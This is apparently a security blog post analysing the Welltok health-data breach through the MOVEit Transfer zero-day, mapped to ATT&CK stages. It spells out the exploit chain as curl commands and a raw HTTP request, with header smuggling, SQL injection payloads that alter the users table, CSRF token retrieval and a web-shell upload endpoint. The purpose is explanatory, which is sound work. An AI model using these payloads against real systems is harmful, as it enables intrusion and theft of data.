Another classic example of a third-party breach ruining it for the rest of us.
On 22 December 2023, the Denver-based wellness company, Welltok, sent a letter to the Attorney General of Connecticut , informing him of 847,356 CT residents’ compromised health data.
The letter describes that the real compromise occurred in May 2023 when a Threat Actor (TA) utilized the then unknown MOVEit zero-day vulnerability to exfiltrate customer data from the file server. Sadly, there was nothing that Welltok could’ve done to mitigate an unknown zero day. Although, Welltok’s SOC or CyberInfra team (whatever it may be) could have had specific alerts for anomalous data exfiltration of sensitive data (i.e., customer PHI) from important data file servers and modification of accounts to sysadmin level privileges.
Below is how it would’ve gone down.
Reconnaissance (TA0043)
TA scans the public-facing servers with various fingerprints T1595.003 — whether manually (e.g., curl -v -I command), homemade scanner bot, or premium service (i.e., Censys, Shodan, etc.). Possible fingerprints could be:
/human.aspx
indicates Progress MOVEit Transfer login form- Header including
Server: Progress MOVEit
- Possible HTML title tag including
MOVEit Transfer
Initial Access (TA0001)
Exploit Public Facing Application (T1190)
TA sends HTTPS GET request to populate the ASP.NET_SessionId cookie in order to start a session with the server:
$ curl -I https://moveit.example.com
...
set-cookie: ASP.NET_SessionId=yxg0zv4pkpkqoobio0uoe2zf;
...
Next, the TA uses a vulnerability in the MOVEitISAPI.dll to set session variables for the session:
curl -H "xx-silock-transaction: folder_add_by_path" -H "X-siLock-Transaction: session_setvars" -I https://moveit.example.com/moveitisapi.dll?action=m2
To explain, m2 is an action parameter in the compiled dll. When it is called, it allows for the folder_add_by_path value to be set to the X-siLock-Transaction header. However, when this header is called (X-siLock-Transaction: folder_add_by_path
) ISAPI (Internet Server API) [which filters calls to the Microsoft IIS web server’s ASP.NET application] will read the header field case insensitive and within a larger string, whereas .NET requires it to be case sensitive. This means the ISAPI can pass multiple x-silock-transaction header values with the second header being the only one ready by the .NET server.
MOVEit accepts X-SILOCK-* headers and the aforementioned dll accepts custom headers, which is what the transaction session_setvars allows. For example:
POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
Host: 192.168.37.144
Connection: close
XX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar1: MyUsername: Guest
X-siLock-SessVar2: MyPkgValidationCode: 1
X-siLock-SessVar3: MyInstMessaging: 1
X-siLock-SessVar4: MyGuestEmailAddr: x@example.com
X-siLock-SessVar5: MyPkgID: 0
X-siLock-SessVar6: MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- a
X-siLock-SessVar7: MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- a
Cookie: ASP.NET_SessionId=21ts1wiqbftjbjqjbrnjbuxj; siLockLongTermInstID=0
Content-Length: 0
In this case, the TA submits a SQL injection using the earlier Guest credentials to create new sysadmin user with admin level permissions by targeting the activesessions table.
Finally, to maintain the session for further access, a POST request to retrieve the CSRF token. Ensure Transaction is set to dummy, Arg06 is set to anything, and Arg12 is set to promptaccesscode:
$ curl -ski 'https://moveit.example.com/guestaccess.aspx?Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode' | grep csrf
[...]
<input type="hidden" name="csrftoken" value="44ad7cfa2e1a73b7a636c0bb0f9ff8d8b8e4239d">
[...]
Persistence (TA0003)
Web Shell (TA1505.003)
Once admin level permissions is achieved, the TA uploads a reverse web shell into the new sysadmin account’s API directory structure. Ensure the uploadType is set to resumable:
POST https://moveit.example.com/api/v1/folders/{id}/files?uploadType=resumable
The file will be encrypted in the fileupload database table, but it can be deserialized. Once done, the web shell file is ready to go.
Conclusion
The MOVEit Transfer attack was a complex hack that affected a lot of orgs in the Federal government and in DoD. It was not a trivial happenstance. However, I hope this helped understand it a bit more.
For more in-depth analysis of the software and the possible exploitation path, please refer to Assetnote’s and Rapid7’s work:
https://www.assetnote.io/resources/research/moveit-transfer-rce-part-two-cve-2023-34362
https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=etrblog